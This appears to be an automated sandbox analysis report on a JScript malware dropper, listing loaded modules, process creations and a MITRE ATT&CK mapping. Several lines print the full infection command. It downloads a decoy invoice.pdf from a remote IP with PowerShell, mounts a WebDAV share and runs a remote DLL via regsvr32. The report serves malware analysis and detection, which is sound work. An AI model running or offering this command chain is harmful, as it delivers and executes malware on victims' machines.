Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9324.js.csv");ITextStream.WriteLine(" entry:8775 f:fgahswc");ITextStream.WriteLine(" exec:2 f:fgahswc");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49768

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5495			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4097			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep count: 5495 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep count: 4097 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7924	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7936	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7948	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8112	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3444	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1449674390.0000020764590000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1438444473.0000020764590000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1449471559.0000020764530000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2670819463.000002047B85C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.2669131661.000002047622B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
